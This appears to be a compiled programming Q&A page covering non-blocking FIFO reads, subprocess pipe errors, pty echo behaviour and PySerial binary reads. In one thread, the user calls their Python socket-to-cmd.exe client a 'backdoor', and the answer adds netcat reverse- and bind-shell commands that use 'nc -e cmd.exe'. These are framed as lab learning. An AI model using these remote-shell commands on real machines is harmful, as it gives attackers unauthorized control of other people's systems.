Develop Reference

Poor performance on large writes on O_NONBLOCK fifo in mac os

I have a reader and writer on a FIFO, where the reader must not block indefinitely. To do this, I open the read end with O_NONBLOCK.
The write end can block, so I open it as a regular file. Large writes perform unacceptably awfully - reading/writing a 4MB block takes minutes instead of the expected fraction of a second (expected, because in linux the same code takes a fraction of a second).
Example code in Python replicating the issue. First, create a fifo using mkfifo, e.g. mkfifo some_fifo, then run the reading end, then the writing end.
Reading End:
import os, time
# mkfifo some_fifo before starting python
fd = os.open('some_fifo',os.O_RDONLY | os.O_NONBLOCK)
while True:
try:
read = len(os.read(fd, 8192)) # read up to 8kb (FIFO buffer size in mac os)
print(read)
should_block = read < 8192 # linux
except BlockingIOError:
should_block = True # mac os
if should_block:
print('blocking')
time.sleep(0.5)
Write End:
import os
fd = os.open('some_fifo',os.O_WRONLY)
os.write(fd, b'aaaa'*1024*1024) # 4MB write
Note: The original code where I hit on this issue is cross-platform Java code that also runs on linux. Unfortunately, this means I can't use kqueue with a kevent's data field to figure out how much I can read without blocking - this data is lost in the abstraction over epoll/kqueue that I use. This means a solution of using a blocking fd à la this answer is unacceptable.
Edit: the original code used kqueue to block on the file descriptor in the read end, which performed worse
Edit 2: Linux os.read() doesn't throw a BlockingIOError before the other side of the pipe is connected despite the docs stating that it should (the call succeeds (returns 0) but sets errno to EAGAIN). Updated the code to be friendly to linux behavior too.
Edit 3: The code for macOS was originally:
import select, os
# mkfifo some_fifo before starting python
fd = os.open('some_fifo',os.O_RDONLY | os.O_NONBLOCK)
kq = select.kqueue()
ke = select.kevent(fd)
while True:
try:
read = len(os.read(fd, 8192)) # read up to 8kb (FIFO buffer size in mac os)
except BlockingIOError:
evts = kq.control([ke], 1, 10) # 10-second timeout, wait for 1 event
print(evts)
This performs as poorly as the version with sleeps, but sleeping makes sure the issue isn't with the blocking mechanism, and is cross-platform.

O_NONBLOCK does not raise exception in Python

I am trying to write a "cleaner" program to release a potential writer which is blocked at a named pipe (because no reader is reading from the pipe). However, the cleaner itself should not block when no writer is blocked writing to the pipe. In other words, the "cleaner" must return/terminate immediately, whether there is a blocked writer or not.
Therefore I searched for "Python non-blocking read from named pipe", and got these:
How to read named FIFO non-blockingly?
fifo - reading in a loop
What conditions result in an opened, nonblocking named pipe (fifo) being "unavailable" for reads?
Why does a read-only open of a named pipe block?
It seems that they suggest simply using os.open(file_name, os.O_RDONLY | os.O_NONBLOCK) should be fine, which didn't really work on my machine. I think I may have messed up somewhere or misunderstood some of their suggestion/situation. However, I really couldn't figure out what's wrong myself.
I found Linux man page (http://man7.org/linux/man-pages/man2/open.2.html), and the explanation of O_NONBLOCK seems consistent with their suggestions but not with my observation on my machine...
Just in case it is related, my OS is Ubuntu 14.04 LTS 64-bit.
Here is my code:
import os
import errno
BUFFER_SIZE = 65536
ph = None
try:
ph = os.open("pipe.fifo", os.O_RDONLY | os.O_NONBLOCK)
os.read(ph, BUFFER_SIZE)
except OSError as err:
if err.errno == errno.EAGAIN or err.errno == errno.EWOULDBLOCK:
raise err
else:
raise err
finally:
if ph:
os.close(ph)
(Don't know how to do Python syntax highlighting...)
Originally there is only the second raise, but I found that os.open and os.read, though not blocking, don't raise any exception either... I don't really know how much the writer will write to the buffer! If the non blocking read does not raise exception, how should I know when to stop reading?
Updated on 8/8/2016:
This seems to be a workaround/solution that satisfied my need:
import os
import errno
BUFFER_SIZE = 65536
ph = None
try:
ph = os.open("pipe.fifo", os.O_RDONLY | os.O_NONBLOCK)
while True:
buffer = os.read(ph, BUFFER_SIZE)
if len(buffer) < BUFFER_SIZE:
break
except OSError as err:
if err.errno == errno.EAGAIN or err.errno == errno.EWOULDBLOCK:
pass # It is supposed to raise one of these exceptions
else:
raise err
finally:
if ph:
os.close(ph)
It will loop on read. Every time it reads something, it compares the size of the content read with the specified BUFFER_SIZE, until it reaches EOF (writer will then unblock and continue/exit).
I still want to know why no exception is raised in that read.
Updated on 8/10/2016:
To make it clear, my overall goal is like this.
My main program (Python) has a thread serving as the reader. It normally blocks on the named pipe, waiting for "commands". There is a writer program (Shell script) which will write a one-liner "command" to the same pipe in each run.
In some cases, a writer starts before my main program starts, or after my main program terminates. In this case, the writer will block on the pipe waiting for a reader. In this way, if later my main program starts, it will read immediately from the pipe to get that "command" from the blocked writer - this is NOT what I want. I want my program to disregard writers that started before it.
Therefore, my solution is, during initialization of my reader thread, I do non-blocking read to release the writers, without really executing the "command" they were trying to write to the pipe.

This solution is incorrect.
while True:
buffer = os.read(ph, BUFFER_SIZE)
if len(buffer) < BUFFER_SIZE:
break
This will not actually read everything, it will only read until it gets a partial read. Remember: You are only guaranteed to fill the buffer with regular files, in all other cases it is possible to get a partial buffer before EOF. The correct way to do this is to loop until the actual end of file is reached, which will give a read of length 0. The end of file indicates that there are no writers (they have all exited or closed the fifo).
while True:
buffer = os.read(ph, BUFFER_SIZE)
if not buffer:
break
However, this will not work correctly in the face of non-blocking IO. It turns out non-blocking IO is completely unnecessary here.
import os
import fcntl
h = os.open("pipe.fifo", os.O_RDONLY | os.O_NONBLOCK)
# Now that we have successfully opened it without blocking,
# we no longer want the handle to be non-blocking
flags = fcntl.fcntl(h, fcntl.F_GETFL)
flags &= ~os.O_NONBLOCK
fcntl.fcntl(h, fcntl.F_SETFL, flags)
try:
while True:
# Only blocks if there is a writer
buf = os.read(h, 65536)
if not buf:
# This happens when there are no writers
break
finally:
os.close(h)
The only scenario which will cause this code to block is if there is an active writer which has opened the fifo but is not writing to it. From what you've described, it doesn't sound like this is the case.
Non-blocking IO doesn't do that
Your program wants to do two things, depending on circumstance:
If there are no writers, return immediately.
If there are writers, read data from the FIFO until the writers are done.
Non-blocking read() has no effect whatsoever on task #1. Whether you use O_NONBLOCK or not, read() will return immediately in situation #1. So the only difference is in situation #2.
In situation #2, your program's goal is to read the entire block of data from the writers. That is exactly how blocking IO works: it waits for the writers to finish, and then read() returns. The whole point of non-blocking IO is to return early if the operation can't complete immediately, which is the opposite of your program's goal—which is to wait until the operation is complete.
If you use non-blocking read(), in situation #2, your program will sometimes return early, before the writers have finished their jobs. Or maybe your program will return after reading half of a command from the FIFO, leaving the other (now corrupted) half there. This concern is expressed in your question:
If the non blocking read does not raise exception, how should I know when to stop reading?
You know when to stop reading because read() returns zero bytes when all writers have closed the pipe. (Conveniently, this is also what happens if there were no writers in the first place.) This is unfortunately not what happens if the writers do not close their end of the pipe when they are done. It is far simpler and more straightforward if the writers close the pipe when done, so this is the recommended solution, even if you need to modify the writers a little bit. If the writers cannot close the pipe for whatever reason, the solution is more complicated.
The main use case for non-blocking read() is if your program has some other task to complete while IO goes on in the background.

In POSIX C programs, if read() attempts to read from an empty pipe or a FIFO special file, it has one of the following results:
If no process has the pipe open for writing, read() returns 0 to indicate the end of the file.
If some process has the pipe open for writing and O_NONBLOCK is set to 1, read() returns -1 and sets errno to EAGAIN.
If some process has the pipe open for writing and O_NONBLOCK is set to 0, read() blocks (that is, does not return) until some data is written, or the pipe is closed by all other processes that have the pipe open for writing.
So，first check if there's any writer still open the fifo for write. If there's no one, the read will get an empty string and no exception. Otherwise, an exception will be raised

python subprocess stdin.write a string error 22 invalid argument

i have two python files communicating with socket. when i pass the data i took to stdin.write i have error 22 invalid argument. the code
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder
Update
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab. this is for educational purpose. i have two machines. 1) is running ubuntu and i have the in server this code:
import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1) #wait for client connection.
c, addr = s.accept() # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')
while True:
command_from_user = raw_input("Give your command: ") #read command from the user
if command_from_user == 'quit': break
c.send(command_from_user) #sending the command to client
c.close() # Close the connection
have this code for the client:
import socket
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024)
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
s.close #closing the socket
and the error is in the client file
Traceback (most recent call last): File "ex1client2.py", line 50, in proc.stdin.write('%s\n' % data) ValueError: I/O operation on closed file
basically i want to run serial commands from the server to the client and get the output back in the server. the first command is executed, the second command i get this error message.
The main problem which led me to this solution is with chanhing directory command. when i excecute cd "path" it doesn't change.

Your new code has a different problem, which is why it raises a similar but different error. Let's look at the key part:
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
The problem is that each time through this list, you're calling proc.communicate(). As the docs explain, this will:
Send data to stdin. Read data from stdout and stderr, until end-of-file is reached. Wait for process to terminate.
So, after this call, the child process has quit, and the pipes are all closed. But the next time through the loop, you try to write to its input pipe anyway. Since that pipe has been closed, you get ValueError: I/O operation on closed file, which means exactly what it says.
If you want to run each command in a separate cmd.exe shell instance, you have to move the proc = subprocess.Popen('cmd.exe', …) bit into the loop.
On the other hand, if you want to send commands one by one to the same shell, you can't call communicate; you have to write to stdin, read from stdout and stderr until you know they're done, and leave everything open for the next time through the loop.
The downside of the first one is pretty obvious: if you do a cd \Users\me\Documents in the first command, then dir in the second command, and they're running in completely different shells, you're going to end up getting the directory listing of C:\python27\Tools rather than C:\Users\me\Documents.
But the downside of the second one is pretty obvious too: you need to write code that somehow either knows when each command is done (maybe because you get the prompt again?), or that can block on proc.stdout, proc.stderr, and s all at the same time. (And without accidentally deadlocking the pipes.) And you can't even toss them all into a select, because the pipes aren't sockets. So, the only real option is to create a reader thread for stdout and another one for stderr, or to get one of the async subprocess libraries off PyPI, or to use twisted or another framework that has its own way of doing async subprocess pipes.
If you look at the source to communicate, you can see how the threading should work.
Meanwhile, as a side note, your code has another very serious problem. You're expecting that each s.recv(1024) is going to return you one command. That's not how TCP sockets work. You'll get the first 2-1/2 commands in one recv, and then 1/4th of a command in the next one, and so on.
On localhost, or even a home LAN, when you're just sending a few small messages around, it will work 99% of the time, but you still have to deal with that 1% or your code will just mysteriously break sometimes. And over the internet, and even many real LANs, it will only work 10% of the time.
So, you have to implement some kind of protocol that delimits messages in some way.
Fortunately, for simple cases, Python gives you a very easy solution to this: makefile. When commands are delimited by newlines, and you can block synchronously until you've got a complete command, this is trivial. Instead of this:
while True:
data = s.recv(1024)
… just do this:
f = s.makefile()
while True:
data = f.readline()
You just need to remember to close both f and s later (or s right after the makefile, and f later). A more idiomatic use is:
with s.makefile() as f:
s.close()
for data in f:
One last thing:
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab
"localhost" means the same machine you're running one, so "a localhost inside a network lab" doesn't make sense. I assume you just meant "host" here, in which case the whole thing makes sense.
If you don't need to use Python, you can do this whole thing with a one-liner using netcat. There are a few different versions with slightly different syntax. I believe Ubuntu comes with GNU netcat built-in; if not, it's probably installable with apt-get netcat or apt-get nc. Windows doesn't come with anything, but you can get ports of almost any variant.
A quick google for "netcat remote shell" turned up a bunch of blog posts, forum messages, and even videos showing how to do this, such as Using Netcat To Spawn A Remote Shell, but you're probably better off googling for netcat tutorials instead.
The more usual design is to have the "backdoor" machine (your Windows box) listen on a port, and the other machine (your Ubuntu) connect to it, so that's what most of the blog posts/etc. will show you. The advantage of this direction is that your "backyard server" listens forever—you can connect up, do some stuff, quit, connect up again later, etc. without having to go back to the Windows box and start a new connection.
But the other way around, with a backyard client on the Windows box, is just as easy. On your Ubuntu box, start a server that just connects the terminal to the first connection that comes in:
nc -l -p 1234
Then on your Windows box, make a connection to that server, and connect it up to cmd.exe. Assuming you've installed a GNU-syntax variant:
nc -e cmd.exe 192.168.2.7 1234
That's it. A lot simpler than writing it in Python.
For the more typical design, the backdoor server on Windows runs this:
nc -k -l -p 1234 -e cmd.exe
And then you connect up from Ubuntu with:
nc windows.machine.address 1234
Or you can even add -t to the backdoor server, and just connect up with telnet instead of nc.

The problem is that you're not actually opening a subprocess at all, so the pipe is getting closed, so you're trying to write to something that doesn't exist. (I'm pretty sure POSIX guarantees that you'll get an EPIPE here, but on Windows, subprocess isn't using a POSIX pipe in the first place, so there's no guarantee of exactly what you're going to get. But you're definitely going to get some error.)
And the reason that happens is that you're trying to open a program named '\n' (as in a newline, not a backslash and an n). I don't think that's even legal on Windows. And, even if it is, I highly doubt you have an executable named '\n.exe' or the like on your path.
This would be much easier to see if you weren't using shell=True. In that case, the Popen itself would raise an exception (an ENOENT), which would tell you something like:
OSError: [Errno 2] No such file or directory: '
'
… which would be much easier to understand.
In general, you should not be using shell=True unless you really need some shell feature. And it's very rare that you need a shell feature and also need to manually read and write the pipes.
It would also be less confusing if you didn't reuse data to mean two completely different things (the name of the program to run, and the data to pass from the socket to the pipe).

Pseudoterminal master reads what it has just written

I'm working on a project that interfaces "virtual devices" (python processes) that use serial port connections with real devices that also use serial ports, and I'm using pseudoterminals to connect several(more than 2) of these serial-port communications processes (modeling serial devices) together, and I've hit a bit of a snag.
I've got a python process that generates pseudoterminals, symlinks the slave end of the pty to a file (so the processes can create a pyserial object to the filename), while the master ends are kept by my pty generating process and read; when data comes in on one master, the data is logged and then written to the other masters. This approach works if the listening process is always there.
The problem is when the virtual device dies or is never started (which is a valid use case for this project). On my system, it seems, that if data is written to a master end of a pty, if there is nothing listening to the slave end, calling read on that master will return the data that was just written! This means that devices receive the same data more than once -- not good!
Example:
>>master, slave = pty.openpty()
>>os.write(master,"Hello!")
6
>>os.read(master,6)
'Hello!'
I would prefer that the call to read() block until the slave sends data. In fact, this is the behavior of the slave device -- it can write, and then os.read(slave,1) will block until the master writes data.
My "virtual devices" need to be able to pass a filename to open a serial port object; I've attempted to symlink the master end, but that causes my virtual devices to open /dev/ptmx, which creates a new pseudoterminal pair instead of linking back to the slaves that already exist!
Is there any way to change the behavior of the master? Or even just get a filename to the master that corresponds to a slave device (not just /dev/ptmx)?
Thanks in advance!

I'm pretty sure this is because echoing is on by default. To borrow from the Python termios docs, you could do:
master, slave = os.openpty() # It's preferred to use os.openpty()
old_settings = termios.tcgetattr(master)
new_settings = termios.tcgetattr(master) # Does this to avoid modifying a reference that also modifies old_settings
new_settings[3] = new_settings[3] & ~termios.ECHO
termios.tcsetattr(master, termios.TCSADRAIN, new_settings)
You can use the following to restore the old settings:
termios.tcsetattr(master, termios.TCSADRAIN, old_settings)

In case someone finds this question, and jszakmeister's answer doesn't work, here is what worked for me.
openpty seems to create pty's in canonical mode with echo turned on. This is not what one might expect. You can change the mode using the tty.setraw function, like in this example of a simple openpty echo server:
master, slave = os.openpty()
tty.setraw(master, termios.TCSANOW)
print("Connect to:", os.ttyname(slave))
while True:
try:
data = os.read(master, 10000)
except OSError:
break
if not data:
break
os.write(master, data)

Reading binary data with PySerial from serial port

PyQT 4.7 does not have inherited class from QIODevice that allows to talk with serial port directly (e.g. QSerialDevice). So I thought that it would be easier for me to use QProcess class and implement the actual reading/writing to serial port from a different process that will interface with my main QT application using QProcess interface.
Now the problem is that amount of bytes sent and received is not the same when I am using the code below. So my question is how to correctly read binary data from a serial port and then forward everything to the stdout?
This is an excerpt from my main QT program that creates QProcess:
self.micromouse_socket = QProcess()
self.micromouse_socket.start("/home/ansis/Source/Perforce-pele/Pele/tools/console/comtalker.py", "")
self.micromouse_socket.started.connect(self.on_micromouse_socket_started)
self.label_8.setText("Starting COM...")
And this is the Process that will talk with Serial port (comtalker.py; non blocking part is not yet finished):
#!/usr/bin/python
import serial
import sys
if __name__ == "__main__":
ser = serial.Serial(0)
while 1 :
x = ser.read(1)
sys.stdout.write(x)
sys.stdout.flush()
P.S. It could be that problem is somewhere else and not in PySerial. On the other computer I am writing to ttyS0 with this command "./binary_data_generator > /dev/ttyS0". The same code seemed to work fine when I was sending only ASCII characters (text+numbers)

It seems that PySerial (or a library that Pyserial depends on) is translating a single "0x0a" (\n) character into two characters "0x0d 0x0a"(\r\n). Both communication end-points are running on Linux, so I am not sure why someone would like to even translate those line endings at all...
Here strace indicates that sender sends only \n to ttyS0:
write(1, "M\n", 2) = 2
write(1, "\n", 1) = 1
write(1, "M\n", 2) = 2
write(1, "\n", 1) = 1
While debugging PySerial output I saw that each \n is prefixed with a \r.
Before claiming that this as a Bug I will do further investigation to find out who and why adds this carriage return...

I think the stdout is not in binary mode by default. That's hy the non-ascii bytes seems to be lost. See this question, it may help.
If I am understanding correctly, you want to use the std i/o as communication pipe between two processes. I would recommend to use one of the multiprocess module for that
I hope it helps